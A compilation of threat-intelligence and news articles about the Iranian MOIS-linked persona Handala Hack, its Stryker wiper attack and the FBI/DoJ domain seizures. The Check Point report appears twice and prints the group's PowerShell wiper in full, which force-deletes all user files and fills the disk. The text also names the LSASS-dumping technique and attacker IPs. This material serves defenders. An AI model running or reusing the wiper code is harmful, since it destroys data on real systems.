FBI seizes Handala data leak site after Stryker cyberattack

Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS) Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity Introduction Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker. The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware. As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools. Background “Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania. Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala. One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona. According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026. Initial Access Supply Chain Attacks Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX. After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses. Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used. Activity Before Impact In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials. It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52). The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack. Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks. The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website. By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment. Wiping Operations During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network. Handala Wiper The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe). The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss. Handala PowerShell Wiper As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network. The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance. $usersFolder = C:\Users Ensure the folder exists if (Test-Path $usersFolder) { Get all items in C:\Users, but not the Users folder itself $items = Get-ChildItem -Path $usersFolder -Recurse Remove each item (files and subfolders) inside C:\Users foreach ($item in $items) { try { Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop } catch { Write-Host Could not delete: $($item.FullName) } } } $sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar $destinationFolder = C:\users if (!(Test-Path $destinationFolder)) { New-Item -ItemType Directory -Path $destinationFolder | Out-Null } $driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\') $i = 0 while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) { Copy-Item $sourceFile $destinationFolder\Handala_$i.gif $i++ } Use of Disk Encryption for Destruction In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful. Manual Deletion In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials. Summary In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania. Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat. Recommendations for Defenders Enforce multi-factor authentication, especially for remote access and privileged accounts Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following: Logins from countries not previously observed for your organization or specific users Unusual access patterns, including: First-time logins outside typical hours Multiple failed logins followed by success New device registrations Unusual data transfer volumes during VPN sessions Authentication from new ASN/hosting providers Restrict access from high-risk geographies and infrastructure Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only). Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

Handala Hack is an online persona operated by Void Manticore (aka Red Sandstorm, Banished Kitten), an actor affiliated with Iranian Ministry of Intelligence and Security (MOIS) Additional personas associated with this actor include Karma and Homeland Justice, which have been used in targeted operations against Israel and Albania Handala continues to rely on longstanding TTPs, primarily conducting quick, hands-on activity within victim networks and employing multiple wiping methods simultaneously In parallel, some newly observed TTPs include the deployment of NetBird to tunnel traffic into the network, as well as the use of an AI-assisted PowerShell script for wiping activity Introduction Handala Hack, also tracked by Check Point Research as Void Manticore, is an Iranian threat actor that is known for multiple destructive wiping attacks combined with “hack and leak” operations. The threat actor operates several online personas, with the most prominent among them being Homeland Justice, maintained from mid-2022 specifically for multiple attacks against government, telecom, and other sectors in Albania, as well as Handala Hack, which has been responsible for multiple intrusions in Israel and recently expanding its targeting to US-based enterprises such as medical technology giant Stryker. The techniques, tactics, and procedures (TTPs) associated with Void Manticore intrusions remained largely consistent throughout 2024 to 2026, as the group continued to rely primarily on manual, hands-on operations, off-the-shelf wipers, and publicly available deletion and encryption tools. Accordingly, our previous research on the actor, published in early 2025, remains highly relevant to understanding their activity. Void Manticore has historically used both custom-built and publicly available tools, while also relying on underground criminal services to obtain initial access and malware. As the group’s operations expanded in scope, with recent attacks targeting U.S. organizations, we decided to share our observations on this cluster’s activity, with a particular focus on recent TTPs and newly identified indicators. Because the group operates primarily through manual, hands-on activity, its indicators tend to be short-lived and consist largely of commercial VPN services, open-source software, and publicly available offensive security tools. Background “Handala Hack” is an online persona operated by Void Manticore (Red Sandstorm, Banished Kitten), a MOIS-affiliated threat actor, and appears to draw its name and imagery from the Palestinian cartoon character Handala. The persona has been used extensively since late 2023 and represents one of the group’s three primary operational fronts. The other two are Karma, which was likely completely replaced by Handala, and Homeland Justice, a persona the group continues to use in operations targeting Albania. Based on our observations, intrusions linked to all three personas exhibit highly similar TTPs, as well as code overlaps in the wipers they deploy. Another distinctive characteristic shared by Karma and “Homeland Justice” is the collaboration with Scarred Manticore, a separate Iranian threat actor. In the case of Handala and Karma, we have also observed incidents in which the victim-facing group (i.e., messaging within the wipers, notes left in a compromised environment) was presented as Karma, while the stolen data was ultimately leaked through Handala. One possible explanation is that Karma and Handala initially represented two separate teams or operational efforts within the same organization, but later converged under a single brand. This would be consistent with Karma’s complete disappearance and Handala’s emergence as the dominant public-facing persona. According to public reporting, Void Manticore overlaps with activity linked to the MOIS Internal Security Deputy, particularly its Counter-Terrorism (CT) Division, operating under the supervision of Seyed Yahya Hosseini Panjaki. Panjaki was reportedly killed in the opening phase of Israel’s strikes on Iran in early March 2026. Initial Access Supply Chain Attacks Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access. Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure. This activity typically originates from commercial VPN nodes and is frequently tied to default hostnames in the format DESKTOP-XXXXXX OR WIN-XXXXXX. After the internet shutdown in Iran in January, we observed similar activity originating from Starlink IP ranges, and it has continued since. This has occurred in parallel with a decline in the actor’s operational security, as the group has also begun connecting directly to victims from Iranian IP addresses. Previously, the adversary generally maintained stronger operational discipline, typically egressing through the commercial VPN segment 169.150.227.X while operating against targets in Israel. In some cases, however, the VPN connection failed, exposing communications from Iranian IP addresses or from a virtual private server. Since the start of the war, the actor has struggled to maintain this level of operational security. At times, it successfully egressed through an Israeli node, 146.185.219[.]235, assessed to be linked to a VPN service, although this differed from the segment previously used. Activity Before Impact In a recent intrusion attributed to Handala, initial access is believed to have been established well before the destructive phase, with network access dating back several months. This earlier activity likely provided the group with persistent access and the Domain Administrator credentials required to carry out the attack. In the hours leading up to the destructive activity, Handala appeared to validate its access and test authentication using the compromised credentials. It is unclear whether this activity is directly associated with Handala, as it slightly differs from their typical TTPs. The actor disabled Windows Defender protections and executed multiple reconnaissance and credential-theft operations. Shortly afterwards, the attacker attempted to retrieve an additional payload from a dedicated command-and-control server (107.189.19[.]52). The adversary then proceeded with credential extraction using multiple techniques. These included dumping the LSASS process using comsvcs.dll via rundll32.exe, as well as exporting sensitive registry hives such as HKLM. In parallel, the attacker executed ADRecon (named dra.ps1), a PowerShell-based reconnaissance framework used to enumerate Active Directory environments. At this point, it likely achieved Domain Admin credentials used in “Handala”s wiping attack. Handala is known to operate primarily in a manual, hands-on manner, with lateral movement conducted largely through extensive use of RDP to move between systems within a compromised environment. To reach hosts that were not directly accessible from outside the network, the group was observed deploying NetBird, a platform designed to create secure, private zero-trust mesh networks. The deployment of NetBird was performed manually. The attackers first connected to compromised hosts via RDP and then used the local web browser to download the software directly from the official NetBird website. By installing NetBird on multiple machines within the environment, the attackers were able to establish internal connectivity between systems and operate more efficiently. This approach enabled them to accelerate destructive activity while maintaining control of the operation from multiple footholds inside the network. During the incident, we observed at least five distinct attacker-controlled machines operating simultaneously within the environment. Wiping Operations During the destructive phase of the attack, we observed the group deploying four distinct wiping techniques in parallel, likely to maximize impact and inflict the greatest possible damage. To further increase the effect, the threat actor used Group Policy to distribute the different wipers across the network. Handala Wiper The first stage involved the deployment of a custom wiper, referred to as Handala Wiper (in some instances named handala.exe). The wiper was distributed across the network as a scheduled task using Group Policy logon scripts, which executed a batch file named handala.bat. This script simply triggered the execution of two wiper components – the executable and the PowerShell script. Notably, the executable itself was launched remotely from the Domain Controller (DC) and was not written to disk on the affected machines. The malware overwrites file contents across the system and additionally leverages MBR-based wiping techniques to corrupt or destroy files on the system, contributing to significant data loss. Handala PowerShell Wiper As a final stage of the destructive operation, the attackers deployed an additional custom PowerShell-based wiper. Similar to the previous component, this script was also distributed through Group Policy logon scripts, allowing it to propagate across multiple systems within the network. The PowerShell wiper performs a straightforward but effective operation: it enumerates all files within users directories and deletes them, further compounding the damage caused by the initial wiping activity. Based on the code structure and the detailed comments, it is likely that this PowerShell script was developed with AI assistance. $usersFolder = C:\Users Ensure the folder exists if (Test-Path $usersFolder) { Get all items in C:\Users, but not the Users folder itself $items = Get-ChildItem -Path $usersFolder -Recurse Remove each item (files and subfolders) inside C:\Users foreach ($item in $items) { try { Remove-Item -Path $item.FullName -Recurse -Force -ErrorAction Stop } catch { Write-Host Could not delete: $($item.FullName) } } } $sourceFile = \\[REDACTED]\SYSVOL\[REDACTED]\scripts\Administtration\install\handala.rar $destinationFolder = C:\users if (!(Test-Path $destinationFolder)) { New-Item -ItemType Directory -Path $destinationFolder | Out-Null } $driveLetter = (Split-Path $destinationFolder -Qualifier).TrimEnd(':','\') $i = 0 while ((Get-PSDrive $driveLetter).Free -gt (Get-Item $sourceFile).Length) { Copy-Item $sourceFile $destinationFolder\Handala_$i.gif $i++ } Use of Disk Encryption for Destruction In addition to the custom wiping tools, we observed the attackers attempting to leverage VeraCrypt, a legitimate and widely used disk encryption utility. In this case, the attacker connected to the compromised host via RDP and used the system’s default web browser to download the software directly from the official website. By encrypting the system drives using a legitimate tool, the attackers added an additional layer to the destructive process. This technique not only increases the operational impact but can also complicate recovery efforts, as encrypted disks may remain inaccessible even if other wiping components fail or are only partially successful. Manual Deletion In some cases, Handala Hack operators manually delete virtual machines directly from the virtualization platform or files from compromised machines. This straightforward process involves logging in via RDP, selecting all files, and deleting them. We observed this behavior in several incidents, and it is also documented in Handala Hack’s own videos and leaked materials. Summary In this report, we detailed the background of the “Handala Hack” persona and its links to Void Manticore, an actor affiliated with Iran’s Ministry of Intelligence and Security (MOIS). Handala is not the only persona maintained by this actor, which operates several fronts in campaigns targeting the United States, Israel, and Albania. Like many destructive threat actors, Handala relies on relatively simple TTPs, largely aiming for quick, opportunistic wins through hands-on operations against its targets. These activities include gaining initial access through compromised credentials, moving laterally via RDP and basic tunneling tools, and deploying wipers alongside manual destructive actions. Their modus operandi has not shifted significantly, and strengthening defenses against these techniques remains an effective way to counter this threat. Recommendations for Defenders Enforce multi-factor authentication, especially for remote access and privileged accounts Monitor for the use of compromised credentials and suspicious authentication activity, with an emphasis on the following: Logins from countries not previously observed for your organization or specific users Unusual access patterns, including: First-time logins outside typical hours Multiple failed logins followed by success New device registrations Unusual data transfer volumes during VPN sessions Authentication from new ASN/hosting providers Restrict access from high-risk geographies and infrastructure Block inbound connections from Iran at the perimeter and on remote access services (VPN/SSO), unless there is a verified business need Block or tightly restrict Starlink IP ranges, given observed abuse in Iranian actor operations If full blocking is not feasible, implement conditional access controls, increased authentication requirements, and enhanced monitoring for these ranges Consider temporarily tightening remote access policies If operationally possible, temporarily restrict VPN connectivity to to business related countries only, with exceptions approved based on business need (e.g., whitelisted users/locations, dedicated jump hosts, or managed devices only). Restrict and harden RDP access across the environment; disable it where not operationally required. Actively search for RDP access from machines with the default Windows naming conventions (i.e DESKTOP-XXXXXX OR WIN-XXXXXXXX), specially outside of working hours Monitor for the use of potentially unwanted software, including remote management and monitoring (RMM) tools, VPN applications such as NetBird, and tunneling utilities such as SSH for windows “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

A five-step playbook to stop Iranian wiper campaigns before they spread Geopolitical tensions are increasingly spilling into cyberspace. For CISOs, that means preparing for attacks that are not motivated by money but by disruption. Nation-state actors and politically aligned groups are increasingly deploying destructive malware designed to cripple organizations and critical infrastructure. Unlike ransomware groups that want payment, these attackers want operational chaos. Iranian wiper campaigns are a clear example of this shift. These attacks are designed to destroy systems, halt operations, and create cascading real-world consequences. They often target organizations that sit in critical supply chains, healthcare ecosystems, or national infrastructure. For security leaders, the question is no longer just how to prevent intrusions—it is how to survive them. Recent incidents highlight the potential scale. In March 2026, the Iran-linked group Handala attacked Stryker, a Fortune 500 manufacturer of medical technologies used in hospitals worldwide. The attackers reportedly wiped more than tens of thousands of devices across the company’s global network, disrupting operations in 79 countries. Thousands of employees were impacted as manufacturing, order processing, and logistics slowed dramatically. Events like this reflect a new reality: cybersecurity incidents are increasingly tied to geopolitical conflict. But despite the headlines, destructive cyber campaigns follow predictable operational patterns. When defenders understand those patterns, they can limit the damage—even when attackers successfully breach the perimeter. How Iranian wiper attacks typically unfold Threat intelligence research into the Handala / Void Manticore cluster shows that many Iranian destructive campaigns rely heavily on manual operations rather than advanced malware. Attackers typically: Gain initial access through stolen VPN credentials Conduct hands-on activity inside the environment Move laterally using administrative tools Escalate privileges Deploy multiple wiping mechanisms simultaneously Operators frequently rely on tools already present in enterprise environments, including: RDP PowerShell remoting WMI SMB SSH Because these tools are legitimate administrative utilities, attackers can often move across networks without triggering traditional malware detection systems. Researchers have also observed operators establishing covert access paths using tunneling tools such as NetBird, enabling them to maintain persistent connectivity inside victim environments. In other words, destructive attacks often succeed not because the malware is sophisticated, but because attackers can move freely inside networks once they gain access. Stopping these campaigns therefore requires focusing on containment and internal control—not just perimeter defense. Reactive security can’t keep up with modern attacks - cyber resilience requires limiting lateral movement before damage spreads. Join Zero Networks to learn how automated containment and identity-driven controls can quickly reduce risk and help you prove resilience to auditors, regulators, and the business. Register for the Webinar A five-step containment strategy for CISOs Based on observed tactics in recent campaigns, CISOs can significantly reduce the impact of destructive attacks by implementing several key controls. 1. Stop credential theft from becoming full network access Most destructive campaigns begin with compromised credentials obtained through phishing, credential reuse, or access brokers. In many environments, successful VPN authentication grants broad internal network access. This is exactly what attackers rely on. Organizations should instead implement: Identity-aware access controls rather than flat network connectivity MFA enforced when accessing administrative services, not just during VPN login Continuous visibility into which identities are accessing which systems Even if attackers authenticate successfully, they should not be able to immediately reach administrative services. 2. Prevent lateral movement through administrative ports Iranian operators frequently move laterally using standard administrative protocols already present in the environment. Because these services are often left open for operational convenience, attackers can pivot rapidly between systems. A more resilient model includes: Default-deny policies for administrative ports Access that opens only after verified authentication Real-time visibility into system-to-system connectivity This significantly reduces the number of pathways attackers can exploit. 3. Restrict privileged accounts to the systems they actually manage Many environments still grant administrators broad access across large portions of the network. That convenience creates risk. If attackers compromise a privileged account during an intrusion, they can often reach nearly every system in the environment. Organizations should instead: Segment privileged access based on role and environment Limit administrators to the specific systems they manage Continuously monitor privileged access activity Reducing the scope of administrative access dramatically limits potential blast radius. 4. Detect unauthorized access paths and tunnels Recent threat intelligence reports show Iranian operators using tunneling tools to maintain covert connectivity inside victim networks. These tunnels can bypass traditional perimeter monitoring. Defenders therefore need visibility inside the network, including: Monitoring east-west connectivity Establishing baselines for administrative communication Detecting unusual connection paths or tunneling behavior When abnormal connectivity patterns appear, defenders can intervene before destructive activity begins. 5. Contain destructive activity before it spreads When wiper malware begins executing, attackers often deploy multiple wiping methods simultaneously to maximize damage. At this stage, speed matters. Organizations that survive destructive incidents focus on containment. Key capabilities include: Automated isolation of compromised systems Immediate restriction of administrative access paths Rapid ring-fencing of affected hosts If containment happens quickly enough, the attack may impact only a limited number of systems instead of spreading across the entire environment. The strategic lesson for CISOs Iranian destructive campaigns highlight an uncomfortable truth: attackers do not need sophisticated malware when networks allow unrestricted internal access. The most effective defense is not simply detecting malicious files earlier. It is removing the attacker’s ability to move. Organizations that consistently limit the impact of destructive attacks share three core capabilities: Visibility into who can access what across the environment Control over administrative services and privileged access Automated containment that limits blast radius Attackers may still get inside the network. But if they cannot move, they cannot destroy the environment. And in an era of geopolitical cyber conflict, that capability may determine whether an organization shuts down—or keeps operating. Sponsored and written by Zero Networks.

Threat actors with ties to Iran successfully broke into the personal email account of Kash Patel, the director of the U.S. Federal Bureau of Investigation (FBI), and leaked a cache of photos and other documents to the internet. Handala Hack Team, which carried out the breach, said on its website that Patel "will now find his name among the list of successfully hacked victims." In a statement shared with Reuters, the FBI confirmed Patel's emails had been targeted, and noted necessary steps have been taken to "mitigate potential risks associated with this activity." The agency also said the published data was "historical in nature and involves no government information." The leak includes emails from 2010 and 2019 allegedly sent by Patel. Handala Hack is assessed to be a pro-Iranian, pro-Palestinian hacktivist persona adopted by Iran's Ministry of Intelligence and Security (MOIS). It's tracked by the cybersecurity community under the monikers Banished Kitten, Cobalt Mystique, Red Sandstorm, and Void Manticore, with the group also operating another persona called Homeland Justice to target Albanian entities since mid-2022. A third persona linked to the MOIS-affiliated adversary is Karma, which is said to have been likely completely replaced by Handala Hack since late 2023. Data gathered by StealthMole has revealed that Handala's online presence extends beyond messaging platforms and cybercrime forums like BreachForums to publicize its activities, maintaining a layered infrastructure that includes surface web domains, Tor-hosted services, and external file-hosting platforms such as MEGA. "Handala has consistently targeted IT and service providers in an effort to obtain credentials, relying largely on compromised VPN accounts for initial access," Check Point said in a report published this month. "Throughout the last months, we identified hundreds of logon and brute-force attempts against organizational VPN infrastructure linked to Handala-associated infrastructure." Attacks mounted by the proxy group are known to leverage RDP for lateral movement and initiate destructive operations by dropping wiper malware families such as Handala Wiper and Handala PowerShell Wiper via Group Policy logon scripts. Also used are legitimate disk encryption utilities like VeraCrypt to complicate recovery efforts. "Unlike financially motivated cybercriminal groups, Handala-associated activity has historically emphasized disruption, psychological impact, and geopolitical signaling," Flashpoint said. "Operations attributed to the persona frequently align with periods of heightened geopolitical tension and often target organizations with symbolic or strategic value." The development comes against the backdrop of the U.S.-Israel-Iran conflict, prompting Iran to go on a retaliatory cyber offensive against Western targets. Notably, Handala Hack claimed credit for crippling the networks of medical devices and services provider Stryker by deleting a huge trove of company data and wiping thousands of employee devices. The attack is the first confirmed destructive wiper operation targeting a U.S. Fortune 500 company. In an update issued on its website this week, Stryker said "the incident is contained," adding it "reacted quickly to not only regain access but to remove the unauthorized party from our environment" by dismantling the persistence mechanisms installed. The breach, it stated, was confined to its internal Microsoft environment. The threat actors have been found to use a malicious file to run commands that allowed them to conceal their actions. However, the file does not possess any capabilities to spread across the network, Stryker pointed out. Palo Alto Networks Unit 42 said the primary vector for recent destructive operations from Handala Hack likely involves the "exploitation of identity through phishing and administrative access through Microsoft Intune." Hudson Rock has found evidence that compromised credentials associated with Microsoft infrastructure obtained via infostealer malware may have been used to pull off the hack. In the wake of the breach, both Microsoft and the Cybersecurity and Infrastructure Security Agency (CISA) have released guidance on hardening Windows domains and fortifying Intune to defend against similar attacks. This includes using the principle of least privilege, enforcing phishing-resistant multi-factor authentication (MFA), and enabling multi-admin approval in Intune for sensitive changes. Flashpoint has characterized the attack on Stryker as a dangerous shift in supply chain threats, as state-linked cyber activity targeting critical suppliers and logistics providers can have cascading impacts across the entire healthcare ecosystem. DoJ Takes Down Pro-Iranian Hacker Domains Handala Hack's leak of Patel's personal emails comes in response to a court-authorized operation that led to the seizure of four domains operated by MOIS since 2022 as part of an effort to disrupt its malicious activities in cyberspace. The U.S. government is also offering a $10 million reward for information on members of the group. The names of the seized domains are listed below - justicehomeland[.]org handala-hack[.]to karmabelow80[.]org handala-redwanted[.]to "The seized domains [...] were used by the MOIS in furtherance of attempted psychological operations targeting adversaries of the regime by claiming credit for hacking activity, posting sensitive data stolen during such hacks, and calling for the killing of journalists, regime dissidents, and Israeli persons," the U.S. Department of Justice (DoJ) said. This included the names and sensitive information of about 190 individuals associated with or employed by the Israeli Defense Force (IDF) and/or Israeli government, and 851 GB of confidential data from members of the Sanzer Hasidic Jewish community. In addition, an email address linked to the group ("handala_team@outlook[.]com") is alleged to have been used to send death threats to Iranian dissidents and journalists living in the U.S. and elsewhere. In a separate advisory, the FBI revealed that Handala Hack and other MOIS cyber actors have employed social engineering tactics to engage with prospective victims on social messaging applications to deliver Windows malware capable of enabling persistent remote access using a Telegram bot by masquerading the first-stage payload as commonly used programs like Pictory, KeePass, Telegram, or WhatsApp. Using Telegram (or other legitimate services) as C2 is a common tactic by threat actors to hide malicious activity among normal network traffic, and significantly reduce the likelihood of detection. Related malware artifacts found on compromised devices have revealed added capabilities to record audio and screen while a Zoom session was active. The attacks have targeted dissidents, opposition groups, and journalists, per the FBI. "MOIS cyber actors are responsible for using Telegram as a command-and-control (C2) infrastructure to push malware targeting Iranian dissidents, journalists opposed to Iran, and other opposition groups around the world," the bureau said. "This malware resulted in intelligence collection, data leaks, and reputational harm against the targeted parties." Handala Hack has since resurfaced on a different clearnet domain, "handala-team[.]to," where it described the domain seizures as "desperate attempts by the United States and its allies to silence the voice of Handala." The ongoing conflict has also prompted fresh warnings that it risks turning critical infrastructure sector operators into lucrative targets, even as it has triggered a surge in DDoS attacks, website defacements, and hack-and-leak operations against Israel and Western organizations. Hacktivists entities have also engaged in psychological warfare and influence operations with an aim to sow fear and confusion among the targeted populations. In recent weeks, the energy sector in the Middle East has drawn the attention of a relatively new cybercriminal group called Nasir Security. The group, instead of directly targeting energy companies, has gone after their contractors and third-parties to leak internal data, leading to "incorrect assumptions" about the origin of hacks. "The group is attacking supply chain vendors involved in engineering, safety, and construction," Resecurity said. "The supply chain attacks attributed to Nasir Security are likely carried out by cyber-mercenaries or individuals hired or sponsored by Iran or its proxies." "The cyber activity tied to this conflict is becoming increasingly decentralized and destructive," Kathryn Raines, cyber threat intelligence team lead for the National Security Solutions at Flashpoint, said in a statement. "Groups like Handala and Fatimion are targeting private-sector organizations with attacks designed to erase data, disrupt services, and introduce uncertainty for both businesses and the public. At the same time, we're seeing a greater use of legitimate administrative tools in these cyber operations, making it significantly harder for traditional security controls to detect." That's not all. MOIS-linked actors have been increasingly engaging with the cybercrime ecosystem to support its objectives and provide a cover for its malicious activity. This includes Handala's integration of Rhadamanthys stealer into its operations and MuddyWater's use of the Tsundere botnet (aka Dindoor) and Fakeset, the latter of which is a downloader used to deliver CastleLoader. "Such engagement offers a dual advantage: it enhances operational capabilities through access to mature criminal tooling and resilient infrastructure, while complicating attribution and contributing to recurring confusion around Iranian threat activity," Check Point said. "The use of such tools has created significant confusion, leading to misattribution and flawed pivoting, and clustering together activities that are not necessarily related. This demonstrates that the use of criminal software can be effective for obfuscation, and highlights the need for extreme caution when analyzing overlapping clusters."

